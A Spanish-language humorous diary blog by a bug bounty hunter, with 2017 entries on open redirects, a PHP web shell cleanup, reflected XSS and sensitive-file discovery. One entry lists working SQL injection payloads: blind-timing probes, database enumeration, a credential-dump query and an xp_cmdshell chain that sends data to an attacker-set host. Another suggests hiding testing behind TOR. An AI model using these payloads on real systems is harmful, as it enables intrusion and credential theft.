Lunes, 11 de Diciembre de 2017: línea por línea

Querido diario… ¿eres pobre?, ¿no tienes dinero para un análizador estático?…. siempre se puede confiar en unos greps:

# grep -r -c -A 5 -B 5 -e [regex] ./codigo/ >> dangeorus_string_regex.txt

Eso y dos RedBull’s, de los grandes, y que Checkmarx ni que Fortify 😉

Por cierto Querido Diario:


… no pude evitarlo #iapple (no cualquiera puede ver el carácter después de la i 😛 … shu, shu)

Domingo, 3 de Diciembre: Synack #Hack4Levels Challenge

Querido diario…

Este año Synack ha organizado un concurso de fin de año para motivar a los bug bounty hunters a participar en los assessments long term, que por estas fechas se empiezan a quedar descuidados porque todos vamos tras los “juicy bugs”; para sacar más dinero en fin de año. El premio es un viaje todo pagado a México, lo cual es un poco extraño dado que yo soy un mexicano viviendo en México; pero esto más que cuestión de dinero o el premio es una cuestión de orgullo y presunción.

Como estuve pasando cocaína entre fronteras… que por cierto, te debo esa historia, pero coff.. coff.. es que… bueno, son cosas complejas; no había tenido mucho tiempo de ponerme a trabajar en el challenge; hasta ayer que no tenía nada que hacer y dije “psss…”. ¿Qué puedo decir?, soy simplemente increíble… encontré algunos fallos y bueno, ya me piqué y estoy en plena carrera desesperada por alcanzar a los líderes del ranking:

Esos rusos… pero bueno, para el poco tiempo que he trabajado, no me está yendo tan mal:

Pero bueno, no te venía a platicar sobre eso… sino; hay un tipo de vulnerabilidad que ya está medio olvidada en la historia. En 2013 el OWASP Top 10 incluía las Open Redirects, pero desde hace dos Top 10 ya no viene, y han dejado de tener mucho peso; pero justo ayer me encontré una y la forma en que justifiqué su reporte es que se podía usar para phishing.

Las Open Redirects con errores de validación de entradas que permiten redirigir una aplicación hacia otra… usualmente se pueden identificar buscando variables de control como url=, site=, from=, u=, etc.

La estructura común es similar a:

www.belindofan.com.ar/index.php?refer_to=www.bigshot.beer

Pues bueno, si la variable refer_to no se encuentra validada, entonces podríamos modificar hacia donde nos envía la aplicación y mandar un link (el cual pasaría algunos tipos de controles compensatorios) y usarlo como phishing para robar credenciales o información.

No todas las vulnerabilidades son así de sencillas; el fallo que yo encontré era algo que yo di a llamar “bug augustiano interno de open redirect”, ¿por qué?, porque la aplicación no hacia referencia a un sitio con un dominio externo, sino hacia referencia a una sección dentro de la misma aplicación, algo tipo:

www.belindofan.com.ar/index.php?refer_to=seccion

Lo que terminaba creando un URL así:

seccion.belindofan.com.ar

Lo cual quiere decir que tenía problemas para poder sacar del contexto del dominio al usuario; pero ¿qué pasaría si se puede combinar con otro fallo?, un servidor de aplicaciones mal configurado que me permita subir una aplicación en un subdominio, o un servicio externo o incluso un ataque más dirigido a un usuario específico donde haga un DNS poisoning para redirigirlo a un subdominio donde yo monte un sitio web falso y robe la información.

Bueno, fue un error medio tricky, y difícil de justificar, pero al final lo aceptaron 😉

Querido diario.. jajaja esto es lo más gracioso del mundo 😛 así es como una cachanilla te da el avión:

Ouuu.. cachanilla  es el gentilicio de Mexicali.

Martes, 28 de Noviembre de 2017: ¡Ayúdame!

Querido diario…

A veces intento no ser mala persona y ayudar a aquellos que acuden al gran, al único, al increíble… vendetta [inserte emoticón con lentes aquí].

El día de hoy me buscó un amigo y me dijo “gran y todo poderoso amigo mío, que me han hackeado, ayúdame, tú que estas en las alturas del cielo”… después de hacerlo sufrir un poco, cobrarle un café, un crossaint, burlarme de él y ver como el ceño se le transformaba en tristeza y frustración, decidí hacerle caso.

Bueno, pues resultado que al muchacho lo tenían hackeado desde hace varios hum… ¿años?, la verdad es qué ni sabe; sólo la semana pasada contrato a alguien para actualizar su sitio web y de pronto, ¡zascuash! que se da cuenta que tenía una C99 en el servidor web… eso estrictamente no debiese de ser tanto problema, porque pues lo máximo que uno podría imaginar que pasaría es que se heredan los privilegios al shell y se pueden ejecutar algunos comandos, pero obviamente debiesen estar limitados por los permisos del usuario… pero…

Bueno… para no hacerte el cuento largo, estaba ejecutando Apache como root; y como el sitio anterior era un CMS y a veces le daba problemas de permisos al subir archivos y crear directorios desde la aplicación, le dio un chmod 777 ./ a todo el ROOT directory. Ya cuando me empezó a contar eso la verdad es que me daban ganas de reñirme, pero intenté guardar la compostura, lo miré con cara de preocupación y le dije:

- Oye.. la señora que hace la limpieza de mi casa no se ha presentado en una semana, ¿trabajarías como mi sirvienta?

Jajajaja lo sé, lo sé… pero ¿qué puede hacer uno cuando le platican este tipo de cosas?

La verdad es que es complicado ya hacer algo cuanto te encuentras hackeado de esta forma, porque si vemos un simple ejemplo con una shell básica que yo hice en PHP y como se ve cuando se ejecuta, veremos lo siguiente:

Si lo vemos, lo único que estamos haciendo es pasar un parámetro el cual se está ejecutando como parte de la aplicación; lo cual lo hace poco posible de detectar. Al menos no sencillo, para hacerlo se requeriría tal vez algo como Imperva para poder detectar ese tipo de problemas.

Creo que la solución se encuentra en evitar que archivos de este tipo sean admitidos por la aplicación, tal vez incluso poder parsear los diferentes archivos que se suban, sean o no asociados a una extensión y poder evitar que se suban los que tengan contenido malicioso, porque desde el post se ve cuando se esta subiendo un system() que siempre va a ser malo.

Lo peor de todo esto es que una vez dentro no se sabe que tan lejos pudieron haber llegado, el hacerlo es demasiado complicado y puede que en lo que estamos intentando descubrirle, pasen cosas peores… no es burla, pero…

Querido diario… jajaja ya no me creen las técnicas chamaqueadoras 😛

Martes, 21 de Noviembre de 2017: Prófugo de la justicia chilanga

Querido diario…

Estoy todo destemplado de horarios; el día de ayer estaba viendo la cuarta temporada de Vikings y a las 7pm ya me estaba quedando dormido, me quedé tan dormido que ooootra vez volví a tirar el celular, y la pantalla china murió, y murió feo. Me quedé dormido y a las 2am ya estaba despierto… que era la hora a la que despertaba en Bogotá.

Me desperté y me puse a buscar un bug bounty para despejarme, y encontré uno… la mayoría de las personas creen que el hecho de que uses AJAX, React, V.JS y todas esas cosas raras en automático ya estas asegurado. Bueno, la realidad es que no; de hecho yo trabajaba como QA (si, si… doy pena) en una empresa donde usaban cosas monas así más Laravell, y lancé un Burp Suite a lo loco y deje inusables las aplicaciones porque les encontré fallos por todos lados.

Pero bueno, encontré un response más o menos así:

{“success”:true, “status”:”cosa”}

Así que intenté inyectar un tag de HTML en el status, y si, en efecto; lo reflejaba a la primera… así que pues ya tú sabe:

{“success”:true, “status”:”<onmouse over%3Dalert(1)>:cosa”}

Y pues ya, el día parecía muy bien, me resolvieron rápido y me lleve unos cientos de dólares.. cuando de pronto recibí una llamada de casa en el DF, acaba de ir una patrulla a buscarme por delitos como extorsión, asesinato imprudencial, homicidio calificado, tráfico de drogas y otras cosas más…

Me preocupe un poco, así que recordando que mi abogado había metido un amparo para evitar mi encarcelamiento, le pregunté que hacer.

Querido diario… tengo la extraña sensación de que debo de huir a EEUU aprovechando que vivo al lado, porque se va a poner feo.

Por cierto, quieroooooo esto de regalo de Navidad:

Es lo más genial del mundo 😛

Lunes, 20 de Noviembre de 2017: Adelante, atrás, adelante, atrás… atrás, adelante… atrás, atrás

Querido diario…

A veces cuando estas buscando un fallo, sobre todo de los que tienen que ver con input validation, en aplicaciones productivas; puedes tardarte mucho debido a la gran cantidad de variables que llevan. Hay variables para todo, no únicamente las típicas variables para enviar datos, sino hay variables de control, variables que se usan para confirmación de datos como los tokens, o información que viaja por las cookies; e incluso algunos que se usan para controlar el front-end de las aplicaciones.

Usualmente basta con usar un HTTP proxy, modificar y reenviar con el repeater (en Burp Suite), o algo parecido.. pero hoy encontré una extensión de Chrome interesante para cuando tienes que reenviar varios requests a la aplicación:

BugReplay es una extensión que te permite grabar varias requests y generar test cases para probar tus aplicaciones; le encontré muy útil para hacer varios calls en AJAX.

En el web site puedes registrar una cuenta para accerder a reportes y cosas así, pero a mi en lo personal eso no me pareció útil, es más como para QA’s pero… cofff.. coff.. espero jamás tener que ser eso en mi vida.

Querido diario.. hay niveles, ser QA fue de las cosas más denigrantes que he tenido que hacer en mi vida para sobrevivir.

27 de Octubre de 2017: Bomba

Querido diario… ayer desperté, me bañé, me acicale, fui a mi oficina y me encontré con una gran sorpresa:

¡Ah! si, el Starbucks es mi oficina.

Mi amiga Dania Pelo de Merengue, ahora se ha vuelto, Dania Pelo Frappre de Zombie

Después de meterle a mi cuerpo un shock de azúcar, recibí una llamada… de Yucatán. La verdad es que me situación actual recibo llamadas de muchas partes, así que no se me hizo raro, pero en esta ocasión; no era una mala llamada, era un amigo que tengo de no ver como hum… unos 3 años. Estuvimos platicando sobre minería de Bitcoins, él ha estado minando a través del front-end de varias de sus aplicaciones.

Y no tengo idea de como, de pronto terminamos platicando de Chumel no sé que, un tipo de esos que se quejan de todo en Internet y se hizo famoso por eso; pero no es muy inteligente que digamos. Y estábamos viendo un video donde hablan de una aplicación que en mi país se liberó hace poco para… bueno… paso algo malo:

Este.. coff..

Una vez estaba platicando con una amiga llamada Ivonne Muñoz, que seguro habrás escuchado por allí, es una abogada en delitos informáticos muy famosa, que es química y abogada, y creo que también informática; y siempre quiere meter a todo mundo a la cárcel. Entonces un día bromeando le pregunté si ella un día me defendería si me llegan a detener por un delito informático; y me dijo que no, que al contrario, ella misma reuniría todas las pruebas y armaría el caso para meterme a la cárcel; me reí y recuerdo que le dije:

- Pero, pero, pero... ¿y si fue sin querer?, ósea así como que de pronto uno esta aquí sentado, mirando al cielo y ¡pum! hackeaste sin querer la NASA

Y bueno, me vio con ojos chinos.

Pero es verdad… yo ayer estaba tranquilamente, disfrutando de mi frappe zombie, mientras veía pasar un montón de gente que va al Starbucks de Plaza Lienzo a entrevistas de trabajo, hay una muchacha que da como citas para bajar de peso, y una que da clases de inglés de allí; y un montón de gente del CETYS que tienen como un club de Libertex.. y a ratitos veía Doctor Who y ¡pum!, juró que se decompiló la aplicación, y de pronto estaba buscando un archivo y me apareció esto:

Y bueno, no quiero decir lo que había alli… pero después de la llamada con mi amigo; tengo como varios gigas de cosas que yo creo que Ivonne, no me creería que fue sin querer.

Bueno… de pronto el azúcar se me acabó y entonces me di cuenta que necesitaba comida de verdad, y Diego un amigo, me dijo que si le acompañaba a EEUU, a unos outlets que están en Calexico, un pueblo que está al lado de Mexicali. Yo no quería comprar nada, a lo mucho, quería ir una cosa como donde venden hamburguesas, no por las hamburguesas, sino porque tenía muchas ganas de una Coca-cola de vainilla.

y mientras comíamos y él me platicaba acerca de su trabajo, en donde se la pasa programando y cosas así, yo me pensé.. “vendetta… tal vez algún día deberías hacer algo provechoso con tu vida”… luego se me acabo el refresco, fui por más y se me pasó 😛

¡Ah si!, también fuimos a la plaza; y diablos… en EEUU todo es muy barato, y terminé gastando $200 dlls… no sé en que, bueno si sé; ahora tengo un exprimidor de limones que es como un atomizador.

¡Tecnología de punta!

Oh si, creo que Mom me va a llevar de gira, le dije que haría un trabajito en Bogotá; y quiere que me pasé a Costa Rica, Perú y Panamá a conocer a algunos de sus amigos… oh-oh.

Querido diario… creo que compró cosas un poco inútiles.

Sábado, 7 de Octubre de 2017: vacaciones forza… todas pagadas.

Querido diario…

Te escribo desde un aeropuerto, ¿dónde?, no te lo puedo decir; ¿esperando que vuelo?, es algo que tampoco te puedo decir.

Bueno… ser buena persona no es precisamente mi mejor talento…

A veces uno no puede resistir las ganas de meter una comilla por todos lados, suena muy guarro, pero es como cuando tienes 15 años y de pronto cuando se apagan las luces dices “¡ay!… se me fue”… bueno, pues así es cuando uno anda usando aplicaciones, de pronto uno quiere comprar calzoncillos y zas “se me fue una comilla” 😛

Bueno, seguramente también recordarán que recibieron una cachetada y probablemente llegó el papá de la ente feminoide con una escopeta… bueno, pues aquí llegaron unos policías, con un juez y me dieron unos tehuacanazos con pocito.

Y es que.. querido diario.. psss… sé qué suena complejo de creer, pero mira.. yo pues nada más le puse una comilla a un nombre, ¿yo cómo iba a saber que eso iba a estar dentro de una variable?, pues si, estaba dentro de una variable, y que un programador no validó bien la variable y entonces cuando yo intentaba sacar mi dinero pues… no podía. ¿Acaso tú no intentarías sacar tu dinero aunque no te deje la aplicación?.

Bueno… no sé, de pronto la comilla se convirtió en un ‘1 or 1=1– y cuando menos me di cuenta, pues…

'>">
' " ) # || + >
%09select 
tab%09
carriage return%13
linefeed%10
space%32
and
or
update
insert
exec
' waitfor delay '0:0:10'--

¿Qué?, ¿tú no usas ese tipo de nombres en tus cuentas bancarias?… pero si son de lo más comunes. De hecho conozco otros…

' group by [columneishons] having 1=1 - -
' union select 1,1,'cosa',1,1,1 - -
' union select 1,1, 99999999999999999,1,1,1 - -
' and 1 in (select 'cosa' ) - -
' and where cosa='cosa' and '1'='1
'; if where cosa='cosa' waitfor delay '0:0:5' --
'; union select if( where cosa='cosa' , benchmark (100000, sha1('cosa')), 'false' ),1,1,1,1;

… y pues bueno, allí estaba yo, metiendo nombres y más nombres a mis cuentas bancarias… y de pronto como que me di cuenta de que la aplicación me arrojaba algo como que users table, cosas tables y pues no sé, quería ver que tables eran esas tables.

SELECT cosa FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tabla')
sp_columns tablename

Luego de la tabla, te das cuenta que hay otras bases de datos…

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

Y entonces dices “ahhh pues de aquí soy”, y quieres ver si puedes sacar unos usuarios y contraseñas

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --

Pero no, no corrí con tanta suerte… ese tipo de errores ya no se dan tan fácil, lo que eso si…

'; create table AttackerTable (data cosa) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW')
'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvendetta -..quesadilla!!' --

Y lo sé.. me pasé.. acto seguido.. estoy aquí, arriba de un avión. Tal vez es un buen momento para escribir algo como:

Toda la información contenida en este diario es ficticia y mero entretenimiento, y/o para fines educativos. El autor no se hace responsable de actos delictivos del mal uso de esta información.

Querido diario… ¿sabías que Timbuktú de verdad existe?.

Viernes, 6 de Octubre de 2017: Ahorro obligatorio

Querido diario…

Yo soy pésimo ahorrando, no sé si sabrás pero desde que tengo recuerdo mis finanzas han sido muuuuuy malas; los bancos no me tienen mucho aprecio que digamos, y ahora que milagrosamente los planetas se han alineado y me ha estado yendo bien económicamente he probado diferentes formas de ahorro e inversión.

Una de las que recientemente he probado se llama Piggo, que es un fondo de inversión “cool”. Su idea es simplificar la inversión y hacerla entendible a un riesgo relativamente bajo. La aplicación a mi me parece malísima, esta pensada a ser completamente móvil, y cuando uno entra a una aplicación web espera tener más opciones que en la móvil, pero aquí es lo contrario. Otra de las ideas de Piggo es que ahorras para objetivos mundanos, en vez de pensar como inversor en cuando es tu margen de ganancia y demás, acá simplemente defines un objetivo “Comprar una casa”, defines tu ahorro inicial “$1000” y luego programas una domiciliazación periódica quincenal o mensual para cumplir la meta, entonces cada que recibas tu sueldo (usualmente en México quincenalmente) puedes programar un cargo automático, para como dicen por allí “si no lo tengo, no me lo gasto”.

La otra opción de Piggo es que defines tu nivel de riesgo… no explicaré mucho eso porque psss es cosa de inversiones, pero el punto es que la aplicación en automático te genera perdidas o ganancias hasta que llegas a tu objetivo, en ese momento deja de hacer los cobros y te congela tu dinero para que puedas retirarlo a tu cuenta bancaria o a la caja chica de Piggo para definir otro objetivo de ahorro. De hecho la clave de todo es que jamás maneja el término inversión, sino todo es ahorro.

Pues bueno… como yo apenas estaba probado si funcionaba o no, la descargué, me registré y al hacerlo te pide crear el primer objetivo de ahorro, como no tenía idea pensé en ponerle “Dinero para calzoncillos nuevos” pero luego dije “nah, que tal si un día tengo que pedir soporte y lee quién me atienda que mis calzoncillos están viejos, entonces le puse “Sexo, drogas & rock ‘n roll”… programé la meta de ahorro, hice mi ahorro inicial, puse el nivel de riesgo, y listo.

Como no fue mucho le puse el 100% del capital a un nivel de riesgo altísimo y un retiro sólo para probar como funcionaba la domiciliazación de ahorros. Todo iba bien, ayer gané bastante y llegué a mi objetivo en dos días. Todo era felicidad, dije “¡ots!, peroooooo.. hoy intenté sacar el dinero para ir a comprar mis calzoncillos nuevos y:

¿Qué pajoooooo?.. pues que la comilla está rompiendo la query. Y ahora mi dinero está encerrado.

Y ahora querido diario… entenderas que es un poco complicado marcar a un call center y decirle a quién te atiende “oye.. ¿sabes?, le encontré un SQL Injection a tu aplicación.. y de pasó deje mi dinero congelado, ¿me puedes ayudar?”.

Después de como dos horas en las que pasé de operador a operador y no entendían como ayudarme porque jamás les había pasado que a alguien se le ocurría poner esa comilla. Me dijeron “no entendemos, pero haremos la transferencia manual el lunes”.

Querido diario… últimamente me pasa que tengo dinero, pero por causas como que no aceptan tarjeta, PayPal, ApplePay o porque básicamente fui bendecido con un talento increible por los dioses para encontrar vulnerabilidades de una forma mágica hasta cuando intento no hacerlo; no tengo dinero.

¡Hey.. no intentes explotar el SQL injection!, es autenticado y en México son mínimo 6 años como delito federal 😉

Sábado, 30 de Septiembre de 2017: Como quedarte sin comer teniendo dinero

Querido diario… tengo hambre, me gruñe la panza, me duele la cabeza; creo que me voy a desmayar.

Hoy desperté y dije “¡Ahhhhh! Santo Chucho Cristo Redentor; hoy va a ser un día muuuuuy productivo para mi, voy a cambiar el mundo, voy a hacer ejercicio, voy a cocinar comida saludable, voy a buscar un empleo decente… ah.. si, hoy es un nuevo día, lleno de esperanzas y expectativas.. ala, mira…. que hasta el horóscopo dice que hoy es un día de cambio”; y pues si, todo iba bien hasta que:

Y bueno… la buena noticia es que; mi amiga Kar… bueno esto es un diario de un bug bounty hunter ilegal hay que proteger la identidad de las personas,… mi amiga Cinthya consiguió su jersey de Club de Cuervos, también la buena noticia es que mientras tooooodos estaban trabajando, aburridos es sus trabajos, pues yo… creo que fui el primero de todas las personas que conozco en ver la nueva temporada de Club de Cuervos completa; la mala noticia es que no trabajé, pero la peor de las peores noticias es que ¡no comí!.

¿Y por qué no comí?, bueno… pues primero me pasé toda la mañana viendo la serie, de pronto empezó a hacer hambre y dije “ahhhh… pues creo que es tiempo de comer”, pero el día de ayer me di cuenta que este mes debo como $8, 000 de tarjeta de crédito, ¡sólo de taxis! (vivo en un sitio en donde es imposible salir a donde sea si no es en taxi), más todo lo demás. Así que no podía usar mi tarjeta para pedir comida, vi mi cuenta de PayPal y ouuu.. tenía mágicos $0, y luego vi y ya eran las 3:09pm, lo cual en tiempo real es las 5:09pm, ósea.. ya no alcanzaba a hacer una transferencia para poder comprar alimento.

¡Diablos!, ¿cómo podía conseguir para pedir algo de comer?…. hum… ¿sería que los dioses bendecirían mis santas manos para encontrar una vulnerabilidad en algún bug bounty y poder tener dinero en mi cuenta de PayPal para pedir comida?.

Empecé a ver el listado de los diferentes bug bounties disponibles, la mayoría habían sido lanzados entre lunes a martes, así que encontrar una vulnerabilidad sencilla y rápida iba a ser complicado.

Mucha gente puede que haya leído la metodología de Jhaddix, bueno… si, funciona, tiene coherencia, y el básicamente te dice como cubrir la mayor parte de las vulnerabilidades de una aplicación web en un par de horas.. “mayoría”, porque yo creo que las vulnerabilidades más complejas de explotar que tienen que ver con la lógica de la aplicación, que generan más impacto y por ende más dinero, no las vas a encontrar; pero el puntoooo es que a partir de que publicó su metodología puedes ver a un montón de bug bounty hunters buscando los famosos “juicy bugs” como desesperados para llevarse sus $50 a $100 dlls… ¿esta mal?, obvio no… los bug bounty hunters somos la basura de la seguridad, ya hemos caído muy bajo al dedicarnos a esto, ponernos pikys por como buscas tus fallos sería un poco tonto.

En fin, la verdad es que $50 dlls eran más que suficientes para comer, pero… hum… bueno, no perdía nada con intentar un “juicy bug”, además cuando yo revisó una aplicación, no importa que el bounty ya llevé tiempo de liberado; siendo que algún día fui un consultor en seguridad informática respetable sigo todos los pasos de mi metodología y hago revisiones exhaustivas. Así que siempre empiezo lanzando algunos scripts, scanners y listas precargadas para encontrar fallos.

Una de las listas que ejecutó es para la búsqueda de archivos sensibles, por allí en ingles encontrarán esto como “information leak”, aunque incluso podría entrar como en configuration management, debido a que es el sysadmin el que debió de haberse asegurado que el entorno donde ejecuta la aplicación esta limpio… bueno, ¿qué que quiere decir todo esto?, pues nada más que encontramos un archivo que no debía de estar allí.

Hay varios tipos de archivos “sensibles” y no tan sensibles que te puedes encontrar, como por ejemplo un index.jsp que alguien haya cambiado de nombre por un index.jsp_, index.jsp.bk, index.jsp.old, etc… tú me entiendes, ¿no?; algunos de prueba como test.aspx, algunos index.html viejos, confs.php, archivos de properties, o algo así. La verdad es que son un montón de tipos, además no hay que olvidar directorios sensibles, paths comunes como un /admin/, /private/, etc, etc, etc, etc…

Yo lo que hago es que por allí… la verdad no recuerdo donde, descargue ya unas listas que incluyen un montón de listas de posibles archivos sensibles, paths comunes, archivos de configuración que varios manejadores de versiones o herramientas de QA y deployment van dejando; y lo que hago es que utilizó eso para buscarlas. Ahora, yo lo hago usando Burp Suite, perooooo, hay herramientas que dentro de sus pruebas hacen esto. Por ejemplo Nikto o Wikto, yo siempre pensando que es una herramienta muy chafa, como que nada más toma esas listas de búsqueda, y la GHDB y ¡zas! manda requests y por banner trata de identificar vunerabilidades, o por código de error… la verdad no me gusta, y si hay detrás un IPS o un WAF, olvídate, te van a cachar.. incluso algunas veces ni acaba si estas en un entorno Cloud, el balanceador te va a ir limitando las requests. Por otra parte también los escáners de aplicaciones hacen esto mismo, con listas internas… Acunetix es muy común que encuentre estos archivos; peroo.. hum.. aunque lo puedas encontrar con un escáner, de todas formas para un bug bounty vas a tener que mostrar la request manual; y la otra es que yo configuró muy tranquilos los escáners, porque casi todos los bounties están en la nube y también genera mucho ruido su uso; además de que muchos bounties como los de Bugcrowd y HackerOne están en producción… así que seguro tienes algo allí antes de la aplicación que te va a parar.

Lo que yo hago es cargar mis listas en Burp Suite.. tiene dos objetivos, uno de ellos es que es una validación “manual”, que en caso de encontrar algo lo que hago es poner como evidencia una screenshot del response donde se vea el contenido del juicy file; y la otra es que no siempre te tienes que fijar en los error codes, ósea si un 200 es un OK, y un 404 es un file not found, peroooo… en estos tiempos de los frameworks fancy para front end, te vas a encontrar muchos 3xx con redirects o 200 pero que en realidad regresan JSON’s con 1’s, o’s, trues, falses o vacíos; que a pesar de eso puedes seguir identificando por el tamaño del response.

Lo sé, lo sé.. más de un pentester acaba de suicidarse al leerme en este momento.. pero muchachos, ustedes sigan usando Hugo Boss y viviendo en ciudades llenas de tecnología, yo no puedo sentarme con un cliente a perdirle que me levante un ambiente de testing o de stage; yo encuentro fallos como sea y en donde sea, porque sino, no como; y en donde vivo no hay nada de tecnología.

La verdad que hacer esto es sencillísimo… abres tu navegador, configuras el proxy y hacer una petición a la aplicación o al path específico que quieres analizar; teóricamente si, debieses de analizar todos los paths que te encuentres en tu spydering.

Click derecho y mandas tu request al Intruder, agregas un comodín al final del path…

Y en Payloads cargas la lista de tus más common files… (ya te dije, no se de donde saque la mía, pero… bueno, si te interesa, luego te la pasó).

Aquí las demás opciones no importan, así que le das con un one shot y si quieres puedes jugar un poco con los time outs o los threads, pero en general si estas en testing o stage, pues no importa; si estas en productivo sal por TOR o ProxyChains y ya.

Bueno… que al final la cosa es que encontré un info.php.. ¿por qué razón los infophp() siempre se llaman info.php?… no entiendo, podrían llamarse como fuesen, pero siempre se llaman así. Un “juicy file” muy poco juicy.. pero lo reporté, no me tardé ni 5 minutos, y me pagaron $150 dlls; al parecer ese bounty llevaba una semana y nadie lo había reportado aun.. si, el gran Quetzatcoatl estaba de mi lado. Al fin tenía dinero. Marqué a Pizza Ring y dije.. bueno, voy a pedir la pizza de cheetos, que si no me voy a morir de la curiosidad. Transferí los $150 dlls a mi PayPal y justo en eso me llegó un correo.

Era tan simple el bug que me pidieron hacer el path verification cuanto antes. Sólo mandé un replay del request donde apareció el info.php y me pagaron $75 dlls extra.. bien, tenía $225 dlls para comer. Así que marqué de nuevo a Pizza Ring y pedí un ponche.

40 minutos después llegó el repartidor.. salí en pijama y pantuflas; y mis únicos $10 en efectivo. Le dije que no tenía dinero, que me acercase su lector de Apple Pay… “¿mi qué?”… esa fue su respuesta. Fue raro… viví dos años en un pueblo, lejos de la tecnología y las comodidades usuales de la civilización, ahora vivo en una ciudad, pero es una ciudad rara.. donde no usan tarjetas de crédito. ¡En serio!, no tarjeta, no PayPal, no Samsung Pay, no Apple Pay, no Google Pay, no Pay, Pay… dinero, en efectivo, como los cavernícolas cuando negociaban los ribeyes de triceratops con el T-Rex. Tenía $225 dlls en mi PayPal, tenía una pizza frente a mi y el pizzero se la iba a llevar porque quería un billete.

¿Es en seriooooo? </acento_cachanillo>

Y después de rogarle que me fiase la pizza, porque de todas formas nadie estaba tan menso como para pedir una pizza de cheetos, se iba a hacer dura y la tendrían que tirar, se llevó mi pizza. Son las 23:17, mi estomago gruñe, gané los $225 dlls más fáciles de mi vida, y no tengo como comprar comida. Después de todo, Quetzatcoatl no me bendijo tanto.

¡Oh!, por cierto querido diario… cada vez voy a escribir más poético en ti, porque tomé un taller de cuento mexicano en el CEART.

Pero no entendí mucho la verdad, pero no importa, porque cuando Belinda sea presidenta todo va a cambiar; llegará la tecnología a Mexicali y habrá montones de empresas de seguridad informática que busquen desesperadamente ex consultores como shoooo…

¡Diablos! D: si tengo hambre…